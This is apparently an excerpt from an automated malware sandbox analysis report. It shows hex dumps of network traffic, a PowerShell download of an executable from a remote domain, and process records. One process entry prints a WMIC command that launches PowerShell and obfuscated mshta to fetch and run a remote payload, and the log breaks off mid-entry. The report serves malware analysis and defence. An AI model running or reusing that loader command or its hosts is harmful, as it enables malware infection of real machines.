3e 3e 0a 73 74 72 65 61 6d 0d 0a ff d8 ff e1 16 2b 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 Data Ascii: %PDF-1.6%1 0 obj<</Type /Catalog/Version /1.6/Pages 2 0 R>>endobj6 0 obj<</Length 526549/Type /XObject/Subtype /Image/Filter /DCTDecode/BitsPerComponent 8/Width 2480/Height 3508/ColorSpace /DeviceRGB>>stream+ExifMM*
2024-12-23 07:39:24 UTC	16384	IN	Data Raw: 2f 70 64 66 22 2f 3e 20 3c 72 64 66 3a 6c 69 20 73 74 45 76 74 3a 61 63 74 69 6f 6e 3d 22 73 61 76 65 64 22 20 73 74 45 76 74 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 36 39 35 37 38 37 34 37 33 34 39 30 45 42 31 31 39 36 45 42 45 35 33 46 34 33 36 44 30 45 36 31 22 20 73 74 45 76 74 3a 77 68 65 6e 3d 22 32 30 32 31 2d 30 33 2d 32 39 54 31 30 3a 31 32 3a 35 37 2b 30 38 3a 30 30 22 20 73 74 45 76 74 3a 73 6f 66 74 77 61 72 65 41 67 65 6e 74 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 53 36 20 28 57 69 6e 64 6f 77 73 29 22 20 73 74 45 76 74 3a 63 68 61 6e 67 65 64 3d 22 2f 22 2f 3e 20 3c 72 64 66 3a 6c 69 20 73 74 45 76 74 3a 61 63 74 69 6f 6e 3d 22 73 61 76 65 64 22 20 73 74 45 76 74 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 Data Ascii: /pdf"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:695787473490EB1196EBE53F436D0E61" stEvt:when="2021-03-29T10:12:57+08:00" stEvt:softwareAgent="Adobe Photoshop CS6 (Windows)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="
2024-12-23 07:39:24 UTC	16384	IN	Data Raw: bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a b4 71 57 a7 79 06 42 f6 86 bd 8e 2a a5 e7 f8 b9 5b 86 a5 69 df 15 79 aa 74 c5 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 aa d6 30 7a f3 a2 d6 94 61 8a bd ae dc 52 35 1e 0a 31 57 9b fe 63 ff 00 bd f1 ff 00 ab 98 59 b9 bd 57 65 fd 05 8b e5 0e d9 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 aa 65 e5 ef f7 b1 3f d6 c9 c3 9b 8b aa fa 0b d6 ee bf b8 6f f5 4f ea cd 81 78 d8 7d 4f 1a d4 3f bf 6f 99 cd 69 e6 f7 18 be 94 3e 06 c7 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ac ef f2 d2 62 eb 32 f8 66 56 02 f3 fd ab 1a a4 fb ce df f1 c6 ba ff 00 8c 67 32 9e 7d f2 45 bf d8 fa 4f eb c5 55 71 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 55 ad db e6 31 57 d2 5f 93 f7 4b 3e 97 f0 fe c9 a6 2a 92 7e 7a d8 7a b6 e9 Data Ascii: vUWb]qWyB[iytWb]vUWb0zaR51WcYWeWb]vUe?oOx}O?oi>b]vUWbb2fVg2}EOUqWb]vUU1W_K>*~zz
2024-12-23 07:39:25 UTC	16384	IN	Data Raw: f4 67 72 c6 24 52 8d d0 e6 5b ce be 59 fc c8 d2 9f 4f d6 e7 04 52 22 7e 1c 55 8d 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ad 1f e3 8a be 85 fc 8e ff 00 8e 63 ff 00 ad 8a a4 bf 9f 9d 21 f9 62 af 14 5e 98 ab 78 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 aa eb 5f f7 aa 0f f8 ca bf af 15 7d 87 a7 7f bc d1 7f a8 bf ab 15 79 1f e7 5d 81 37 29 75 4d 82 d2 b9 ae d4 8d ed ed fb 03 27 a4 c5 e6 03 71 98 2f 58 5d 8a 1d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 59 a7 e5 2d 93 5d ea 6d c7 f6 37 39 93 a7 16 5d 1f 6d 64 e0 c7 ef 7b f0 1b 53 36 cf 9c bc 23 f3 7b 46 6b 7d 4c de 81 48 d8 66 ab 51 1a 36 fa 17 62 67 e2 c7 c1 d5 82 66 2b d0 bb 14 3b 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5a 6e 98 a4 3d 9f f2 57 fd e7 97 36 5a 67 87 ed ef a8 3d 22 ea dd 6e 63 68 5f 75 61 Data Ascii: gr$R[YOR"~Ub]vUWbc!b^xWb]vU_}y]7)uM'q/X]vUWbY-]m79]md{S6#{Fk}LHfQ6bgf+;vUWbZn=W6Zg="nch_ua
2024-12-23 07:39:25 UTC	16384	IN	Data Raw: 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a a1 35 14 aa 72 c5 52 bc 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 aa 2f 4e 4e 4e 4e 2a 99 b7 4c 55 26 b8 fb 67 15 52 c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a a3 f4 bf da c5 51 37 bf dc bf cb 01 6c c7 cc 31 04 e9 98 ee e4 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5c 71 56 43 a1 7f 74 72 e8 ba cd 47 36 b5 df ee f0 49 3a 7e 6c 79 7a 65 4e c9 bc 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 cb f6 97 e6 31 41 e4 cc a3 fb 23 e5 99 0e 90 f3 62 1f 98 76 3c ad be b2 37 2b b6 14 3c e9 7a 0c 55 bc 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 95 fe 5d 59 fa b7 4e ec 3e 10 36 c5 5e 89 77 fd cb ff 00 aa 71 57 8b df ff 00 7e df 33 8a a8 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab Data Ascii: b]vUWb]5rRUWb]vU/NNNNLU&gR]vUWb]Q7l1]vUWb\qVCtrG6I:~lyzeNUWb]vU1A#bv<7+<zUUWb]vU]YN>6^wqW~3b]vU
2024-12-23 07:39:25 UTC	16384	IN	Data Raw: f7 8e 5f f5 0f ea c5 5f 25 6b 7f ef 64 9f eb 1f d7 8a a0 f1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 56 47 f9 77 a0 3e b5 ab 44 14 72 85 0f c7 8a be a6 b6 b7 4b 78 d6 28 c5 15 45 00 c5 52 bf 38 7f c7 26 e7 fe 31 9c af 27 d2 5c ed 0f f7 b1 fe b3 e6 0b 7f b3 f4 9c d2 3e af 2e 6a 98 b0 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 14 b3 ef ca 1f 2d 9b eb c1 a9 30 ac 51 ed f4 e6 5e 9e 16 6d e7 3b 6f 55 e1 c3 c3 fe 29 3d d4 0a 6c 33 68 f9 fb 1b fc c0 d2 ce a3 a4 cd 1a 0a c9 4d b2 9c d1 b8 bb 4e cd cd e1 e5 04 f2 7c e0 62 30 31 85 fe d2 6c 73 4d 54 fa 7d f1 6e 1d 8a 1d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae 38 a5 9d fe 51 68 86 ef 50 6b 87 1f bb e3 99 5a 78 d9 b7 9e ed bd 47 06 3e 11 f5 3f ff d5 f5 26 04 bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a Data Ascii: __%kdWb]vUVGw>DrKx(ER8&1'\>.jvUWb]-0Q^m;oU)=l3hMN\|b01lsMT}nvUWb8QhPkZxG>?&vUWb]v*
2024-12-23 07:39:25 UTC	16384	IN	Data Raw: 75 46 2a d7 31 e3 8a a2 ad 74 db 9b a2 04 28 58 1e e3 15 67 1e 5c f2 2a c3 49 ee fe 23 d7 8f 86 2a cc e3 8d 63 50 aa 28 06 2a bb 15 76 2a ec 55 8e f9 9f ca a9 aa a9 92 3f 86 50 3a e5 39 31 f1 3b 3d 26 b0 e1 34 7e 97 9b 5f 69 93 d8 b1 49 94 80 3b e6 19 89 0f 51 8f 2c 72 0b 08 50 e0 f4 39 16 ea 75 71 43 75 c5 5d 5c 55 d5 c5 5a 2c 07 53 8a 69 5a da d2 6b a3 c6 05 2d f2 c2 05 b5 ce 62 1c de 83 e5 4f 27 ad a0 17 37 23 93 9d c0 3d b3 2f 1e 3a dc bc de b3 5d c7 e9 8b 2e cc 87 4c a7 70 85 e3 65 1d 48 23 01 65 13 45 e3 9a e5 ab 5a 5d 34 72 75 a9 cd 74 85 17 b7 d3 cf 8e 36 10 55 c8 b7 ba b8 ab ab 8a ba b8 ab ab 8a ba b8 ab ab 8a ba b8 ab ab 8a ad 66 00 6f 8a 40 7a 4f e5 fd b3 c7 03 3b 0a 06 e9 99 98 46 cf 2f da 52 06 54 9b 79 b6 d5 ee f4 bb 88 23 15 77 42 00 cc 87 Data Ascii: uF1t(Xg\I#cP(v*U?P:91;=&4~_iI;Q,rP9uqCu]\UZ,SiZk-bO'7#=/:].LpeH#eEZ]4rut6Ufo@zO;F/RTy#wB
2024-12-23 07:39:25 UTC	16384	IN	Data Raw: ed 5f 0c 55 e9 56 d7 29 70 82 58 8d 54 f7 c5 55 71 57 62 ae c5 5d 8a b1 bf 31 f9 c2 1d 35 0a c5 f1 c9 d2 83 b6 2a f3 8b fd 56 e3 50 62 d7 0d c8 1e 83 15 42 05 03 a6 2a de 2a ec 55 d8 ab b1 57 62 ad 36 2a f4 3f cb 9f ee a4 c5 59 9e 2a ec 55 a6 60 a0 b3 6c 06 29 02 d8 6f 99 bc ec b0 03 05 a6 ed fc c3 31 a7 96 b9 3b bd 26 83 8b 79 30 3b bb b9 6f 1b 95 c3 72 39 8a 4d bd 0c 20 21 f4 a9 01 4c 0c dd 8a bb 15 76 2a ec 55 d8 ab 47 b7 cf 15 7a c7 93 ff 00 de 31 99 f8 f9 3c 7e bb eb 4f 72 d7 5e c2 7c e7 e6 cf 43 fd 12 d4 fc 47 62 47 6c c6 c9 92 b6 0e f7 41 a3 e2 f5 49 80 92 58 f3 73 56 3d 4e 62 3d 1f 2d 83 b1 57 62 ae c5 5d 8a bb 15 76 2a e2 2b d7 15 4d 34 0d 7e 6d 26 51 43 58 89 dc 65 90 9f 0b 89 a9 d3 0c c3 fa 4f 57 d3 af e3 be 85 67 88 d4 1c ce 89 b7 8f cb 8c e3 Data Ascii: _UV)pXTUqWb]15VPbBUWb6?YU`l)o1;&y0;or9M !LvUGz1<~Or^\|CGbGlAIXsV=Nb=-Wb]v*+M4~m&QCXeOWg
2024-12-23 07:39:25 UTC	16384	IN	Data Raw: ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a Data Ascii: UWb]vUWb]vUWb]vUWb]vUWb]vUWb]vUWb]vUWb]vUWb]vUWb]vUWb]vUWb]vUWb]vUWb]vUWb]vUWb]vUWb]v*
2024-12-23 07:39:25 UTC	16384	IN	Data Raw: 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 2a ec 55 d8 ab b1 57 62 ae c5 5d 8a bb 15 76 Data Ascii: UWb]vUWb]vUWb]vUWb]vUWb]vUWb]vUWb]vUWb]vUWb]vUWb]vUWb]vUWb]vUWb]vUWb]vUWb]vUWb]v*UWb]v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49762	147.45.49.155	443	672	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:39:32 UTC	55	OUT	GET /dqcwif.exe HTTP/1.1 Host: tiffany-careers.com
2024-12-23 07:39:33 UTC	439	IN	HTTP/1.1 200 OK etag: "108a00-675fd924-2538c;;;" last-modified: Mon, 16 Dec 2024 07:39:16 GMT content-type: application/x-executable content-length: 1083904 accept-ranges: bytes date: Mon, 23 Dec 2024 07:39:32 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46" connection: close
2024-12-23 07:39:33 UTC	16384	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6f 31 29 eb 2b 50 47 b8 2b 50 47 b8 2b 50 47 b8 9f cc b6 b8 3e 50 47 b8 9f cc b4 b8 b7 50 47 b8 9f cc b5 b8 0a 50 47 b8 b5 f0 80 b8 2a 50 47 b8 79 38 42 b9 05 50 47 b8 79 38 43 b9 3a 50 47 b8 79 38 44 b9 23 50 47 b8 22 28 c4 b8 23 50 47 b8 22 28 c0 b8 2a 50 47 b8 22 28 d4 b8 0e 50 47 b8 2b 50 46 b8 06 52 47 b8 8e 39 49 b9 7b 50 47 b8 8e 39 44 b9 2a 50 47 b8 8e 39 b8 b8 2a 50 47 Data Ascii: MZ@0!L!This program cannot be run in DOS mode.$o1)+PG+PG+PG>PGPGPGPGy8BPGy8C:PGy8D#PG"(#PG"(PG"(PG+PFRG9I{PG9DPG9PG
2024-12-23 07:39:33 UTC	16384	IN	Data Raw: c0 48 8d 45 20 48 8b d6 4c 8d 45 28 48 89 44 24 20 e8 5e f5 ff ff 85 c0 0f 88 96 70 04 00 48 8d 4d c0 e8 55 54 00 00 44 8b 45 20 e9 00 ff ff ff 48 8d 0d f9 ba 0e 00 e8 5c 09 00 00 33 c0 4c 8d 5c 24 70 49 8b 5b 30 49 8b 73 38 49 8b e3 41 5f 41 5e 5d c3 48 89 5c 24 08 48 89 7c 24 10 55 48 8b ec 48 83 ec 70 41 8b 18 45 33 db ff cb 44 89 5d c8 4c 8b d1 89 5d b4 49 8b f8 4c 89 5d d0 c7 45 d8 01 00 00 00 41 8b cb 44 89 5d e0 45 8a cb 4c 89 5d e8 c7 45 f0 01 00 00 00 c7 45 b0 02 00 00 00 44 8b 07 41 8b d0 41 8d 40 01 89 07 e8 75 06 00 00 48 85 c0 74 2c 45 84 c9 75 27 48 8b 40 08 48 8b 10 66 44 39 5a 08 75 d7 8b 12 83 ea 0b 74 4f 83 fa 01 75 cb 85 c9 75 42 44 8a ca 44 89 45 b8 eb be 49 8d 8a 68 02 00 00 48 8d 55 b0 e8 98 07 00 00 8d 43 01 48 8d 4d e0 89 07 e8 de Data Ascii: HE HLE(HD$ ^pHMUTDE H\3L\$pI[0Is8IA_A^]H\$H\|$UHHpAE3D]L]IL]EAD]EL]EEDAA@uHt,Eu'H@HfD9ZutOuuBDDEIhHUCHM
2024-12-23 07:39:33 UTC	16384	IN	Data Raw: 84 24 88 00 00 00 89 74 24 50 4d 8b c5 48 89 44 24 48 8b d7 8b 84 24 18 01 00 00 89 44 24 40 8b 84 24 20 01 00 00 89 44 24 38 8b 44 24 60 89 5c 24 30 44 89 74 24 28 89 44 24 20 e8 5c 00 00 00 48 8b b4 24 28 01 00 00 8b d8 48 8b ce e8 8e 87 00 00 48 8b ce c7 46 10 01 00 00 00 89 1e e8 59 73 00 00 85 c0 0f 84 71 49 04 00 83 ff 1d 74 08 49 8b cd e8 ac bf 01 00 45 33 f6 48 8d 4c 24 70 e8 5b 87 00 00 41 8b c6 48 81 c4 c8 00 00 00 41 5f 41 5e 41 5d 41 5c 5f 5e 5d 5b c3 48 8b c4 48 89 58 20 4c 89 40 18 48 89 48 08 55 56 57 41 54 41 55 41 56 41 57 48 8d 68 c1 48 81 ec 90 00 00 00 8b 3d e1 80 0e 00 45 33 ed 41 8b d9 44 8b fa 83 fa 0c 0f 84 33 49 04 00 83 fa 0d 7e 1b 83 fa 0f 0f 8e 25 49 04 00 83 fa 11 0f 84 1c 49 04 00 83 fa 14 0f 84 13 49 04 00 83 ff ff 0f 84 36 Data Ascii: $t$PMHD$H$D$@$ D$8D$`\$0Dt$(D$ \H$(HHFYsqItIE3HL$p[AHA_A^A]A\_^][HHX L@HHUVWATAUAVAWHhH=E3AD3I~%III6
2024-12-23 07:39:33 UTC	16384	IN	Data Raw: c1 89 83 c8 00 00 00 3b 53 1c 0f 8d e6 42 04 00 4c 63 9d 58 01 00 00 41 3b d3 0f 8f eb 42 04 00 8b 43 18 48 8b 7b 10 41 2b c1 49 63 d0 8b 04 87 89 04 97 41 8d 40 01 48 8b 7c 24 48 49 8b d7 48 2b 93 98 00 00 00 48 d1 fa 48 63 c8 48 8b 43 10 89 14 88 8b 95 48 01 00 00 45 3b d8 0f 8f 8e fb ff ff 45 8d 58 02 44 89 9d 58 01 00 00 e9 7e fb ff ff 83 ff 10 0f 85 39 03 00 00 8b 95 48 01 00 00 49 83 c6 06 e9 af fa ff ff 49 83 c6 02 83 c7 ab 49 8b ce 40 f6 c7 01 74 06 41 bd 01 00 00 00 46 0f be 9c 1f f8 80 0c 00 8b c7 48 8d 3d 4e 33 ff ff 44 89 5c 24 58 44 0f be 94 38 e8 80 0c 00 44 89 54 24 50 45 85 d2 75 0c b8 ff ff ff 7f 44 8b d0 89 44 24 50 bf 01 00 00 00 45 0f b7 0e 4c 8d 71 02 44 89 4c 24 54 41 8d 41 f1 83 f8 01 0f 86 da 6d 04 00 48 c7 c0 ff ff ff ff 8b c8 89 Data Ascii: ;SBLcXA;BCH{A+IcA@H\|$HIH+HHcHCHE;EXDX~9HIII@tAFH=N3D\$XD8DT$PEuDD$PELqDL$TAAmH
2024-12-23 07:39:33 UTC	16384	IN	Data Raw: 00 00 49 8b 0c df 49 8b d5 e8 16 40 01 00 49 89 3c df 48 ff c3 49 3b de 72 e8 4c 8b 6c 24 48 e9 cf fa ff ff 4c 8d 3d d5 f3 fe ff 49 8b 5c fd 00 48 85 db 74 61 48 8b 73 08 48 85 f6 74 36 48 8b 46 18 ff 08 48 8b 46 18 44 39 30 75 16 48 8b 0e e8 cf 3f 01 00 48 8b 4e 18 ba 04 00 00 00 e8 c1 3f 01 00 ba 20 00 00 00 48 8b ce e8 b4 3f 01 00 4c 89 73 08 8b 43 10 83 f8 05 0f 8d f6 00 00 00 b8 01 00 00 00 44 89 33 48 8b cb 89 43 10 8d 50 17 e8 8e 3f 01 00 4d 89 74 fd 00 48 ff c7 49 3b fc 72 88 e9 62 fa ff ff 44 8b 5c 24 40 45 33 c0 48 8b 9d a8 00 00 00 e9 ac f6 ff ff 41 83 e9 01 0f 88 dd fa ff ff 41 ff c2 41 ff c0 e9 a0 fa ff ff 48 8b 9d b0 00 00 00 48 8b cb c6 00 00 e8 fd 06 00 00 49 8b c7 89 43 10 33 c0 89 03 e9 93 f8 ff ff 49 8b 0a 48 8b 17 48 85 c0 74 20 44 0f Data Ascii: II@I<HI;rLl$HL=I\HtaHsHt6HFHFD90uH?HN? H?LsCD3HCP?MtHI;rbD\$@E3HAAAHHIC3IHHt D
2024-12-23 07:39:33 UTC	16384	IN	Data Raw: e8 db c7 ff ff 48 8d 15 94 9e 0d 00 49 8b cc e8 dc 05 00 00 c6 44 24 51 00 e9 86 fd ff ff 80 7c 24 51 00 0f 85 89 aa 04 00 49 8b dc e9 93 fd ff ff 44 8b 6c 24 40 4c 8b 64 24 48 4c 8b 74 24 38 4c 89 64 24 58 4c 89 b5 88 00 00 00 45 85 ed 0f 84 c6 b6 04 00 41 83 fd 01 0f 85 d0 b6 04 00 49 8b d6 48 8d 4d 90 48 c7 45 98 00 00 00 00 e8 7d 05 00 00 48 8d 4d 90 e8 3c fe fe ff 84 c0 0f 85 75 02 00 00 83 fb 07 75 62 48 8b 55 78 4d 8b c7 e8 9b 94 00 00 85 c0 0f 88 f3 b8 04 00 83 fb 08 0f 84 a2 b6 04 00 41 83 fd 01 0f 85 b5 b6 04 00 49 8b de 48 8b cb e8 25 c7 ff ff c6 03 00 80 7c 24 34 00 c7 43 10 09 00 00 00 0f 85 ae b6 04 00 80 7d 88 00 0f 84 c6 b6 04 00 b0 01 48 ff cf 88 45 89 48 89 7c 24 78 88 44 24 34 48 8d 4d 90 e8 ec c6 ff ff 48 8b 7d 78 e9 fe ef ff ff 83 f8 Data Ascii: HID$Q\|$QIDl$@Ld$HLt$8Ld$XLEAIHMHE}HM<uubHUxMAIH%\|$4C}HEH\|$xD$4HMH}x
2024-12-23 07:39:33 UTC	16384	IN	Data Raw: 8d 05 6a eb 06 00 48 89 45 f0 48 8d 05 5f fb 09 00 48 89 05 d8 2f 0d 00 48 8d 05 41 ec 06 00 48 c7 45 f8 00 00 00 00 0f 11 05 7a 2f 0d 00 c7 05 5c 2f 0d 00 01 00 00 00 0f 10 45 f0 48 89 45 f0 48 8d 05 d1 04 0a 00 48 89 05 ca 2f 0d 00 48 8d 05 4b f0 06 00 48 c7 45 f8 00 00 00 00 0f 29 05 6c 2f 0d 00 0f 10 45 f0 48 89 45 f0 48 8d 05 f5 05 0a 00 48 89 05 c6 2f 0d 00 48 8d 05 c7 f1 06 00 48 c7 45 f8 00 00 00 00 0f 11 05 68 2f 0d 00 66 c7 05 ff 2e 0d 00 00 00 0f 10 45 f0 48 89 45 f0 48 8d 05 b8 ef 09 00 48 89 05 b9 2f 0d 00 48 8d 05 fe f3 06 00 48 c7 45 f8 00 00 00 00 0f 29 05 5b 2f 0d 00 0f 10 45 f0 48 89 45 f0 48 8d 05 f4 05 0a 00 48 c7 45 f8 00 00 00 00 0f 11 05 65 2f 0d 00 48 89 05 a6 2f 0d 00 48 8d 05 bb 5a 00 00 0f 10 45 f0 48 89 45 f0 48 8d 05 a0 f7 09 Data Ascii: jHEH_H/HAHEz/\/EHEHH/HKHE)l/EHEHH/HHEh/f.EHEHH/HHE)[/EHEHHEe/H/HZEHEH
2024-12-23 07:39:33 UTC	16384	IN	Data Raw: 00 c7 05 89 12 0d 00 02 00 00 00 66 c7 05 84 12 0d 00 00 00 c7 05 9a 12 0d 00 02 00 00 00 c7 05 94 12 0d 00 02 00 00 00 66 c7 05 8f 12 0d 00 00 00 c7 05 a5 12 0d 00 02 00 00 00 c7 05 9f 12 0d 00 03 00 00 00 66 c7 05 9a 12 0d 00 00 00 c7 05 b0 12 0d 00 01 00 00 00 c7 05 aa 12 0d 00 01 00 00 00 66 c7 05 a5 12 0d 00 00 00 48 89 05 a6 12 0d 00 48 c7 45 f8 00 00 00 00 48 8d 05 73 6a 08 00 48 89 45 f0 48 8d 05 d4 a4 09 00 0f 10 45 f0 48 89 05 a9 12 0d 00 48 8d 05 72 6c 08 00 48 89 45 f0 48 8d 05 17 b0 09 00 48 89 05 b8 12 0d 00 48 8d 05 99 6e 08 00 48 c7 45 f8 00 00 00 00 0f 29 05 5a 12 0d 00 0f 10 45 f0 48 89 45 f0 48 8d 05 8b b1 09 00 48 89 05 b4 12 0d 00 48 8d 05 81 ab fe ff 48 c7 45 f8 00 00 00 00 0f 11 05 56 12 0d 00 c7 05 34 12 0d 00 02 00 00 00 0f 10 45 Data Ascii: ffffHHEHsjHEHEHHrlHEHHHnHE)ZEHEHHHHEV4E
2024-12-23 07:39:33 UTC	16384	IN	Data Raw: 45 33 ff 48 8b 55 88 44 8b 4d a8 66 89 42 04 4c 8b 55 80 bb 52 00 00 00 4c 8b 85 a0 01 00 00 41 8b 88 88 00 00 00 8d 41 01 41 89 80 88 00 00 00 81 f9 fa 00 00 00 0f 8d dc 6b 04 00 b8 80 00 00 00 4d 8b d0 44 3b e8 0f 86 c5 54 04 00 49 8b 42 40 49 2b 42 20 48 d1 f8 48 89 45 18 48 89 55 c8 4c 8b b5 a8 01 00 00 41 8b cf 66 44 89 2a 45 8b c7 41 8b ba 98 00 00 00 49 8b c6 41 8b 5a 70 48 f7 d8 48 89 55 00 48 8d 45 10 48 1b d2 44 89 7d 10 48 23 d0 b8 87 00 00 00 48 89 54 24 70 44 3b e8 4c 89 54 24 68 41 8d 45 81 0f 94 c1 48 8d 55 00 41 3b c3 8b 85 98 01 00 00 41 0f 96 c0 03 c1 48 8b 8d 90 01 00 00 48 89 4c 24 60 48 8d 4d 38 48 89 4c 24 58 48 8d 4d 54 48 89 4c 24 50 48 8d 4d 50 48 89 4c 24 48 48 8d 8d 8c 00 00 00 48 89 4c 24 40 41 8b cc 89 44 24 38 89 74 24 30 48 Data Ascii: E3HUDMfBLURLAAAkMD;TIB@I+B HHEHULAfD*EAIAZpHHUHEHD}H#HT$pD;LT$hAEHUA;AHHL$`HM8HL$XHMTHL$PHMPHL$HHHL$@AD$8t$0H
2024-12-23 07:39:33 UTC	16384	IN	Data Raw: 22 11 ff d0 48 83 c4 20 4c 8b 65 c0 4c 8b 6d c8 4c 8b 75 d0 4c 8b 7d d8 48 8b 5d e0 48 8b e5 5d c3 cc cc cc e9 8b 85 fe ff cc cc cc 40 53 48 83 ec 20 48 8b d9 eb 0f 48 8b cb e8 1d 46 00 00 85 c0 74 13 48 8b cb e8 5d 01 01 00 48 85 c0 74 e7 48 83 c4 20 5b c3 48 83 fb ff 74 06 e8 9f 09 00 00 cc e8 b9 09 00 00 cc e9 bf ff ff ff cc cc cc 48 83 ec 28 e8 57 0b 00 00 85 c0 74 21 65 48 8b 04 25 30 00 00 00 48 8b 48 08 eb 05 48 3b c8 74 14 33 c0 f0 48 0f b1 0d 9c a2 0c 00 75 ee 32 c0 48 83 c4 28 c3 b0 01 eb f7 cc cc cc 40 53 48 83 ec 20 0f b6 05 87 a2 0c 00 85 c9 bb 01 00 00 00 0f 44 c3 88 05 77 a2 0c 00 e8 86 09 00 00 e8 19 19 00 00 84 c0 75 04 32 c0 eb 14 e8 a4 5f 01 00 84 c0 75 09 33 c9 e8 35 19 00 00 eb ea 8a c3 48 83 c4 20 5b c3 cc cc cc 40 53 48 83 ec 40 80 Data Ascii: "H LeLmLuL}H]H]@SH HHFtH]HtH [HtH(Wt!eH%0HHH;t3Hu2H(@SH Dwu2_u35H [@SH@

Target ID:	0
Start time:	02:39:11
Start date:	23/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/ghepduy1325')"
Imagebase:	0x7ff61dab0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:39:11
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:39:12
Start date:	23/12/2024
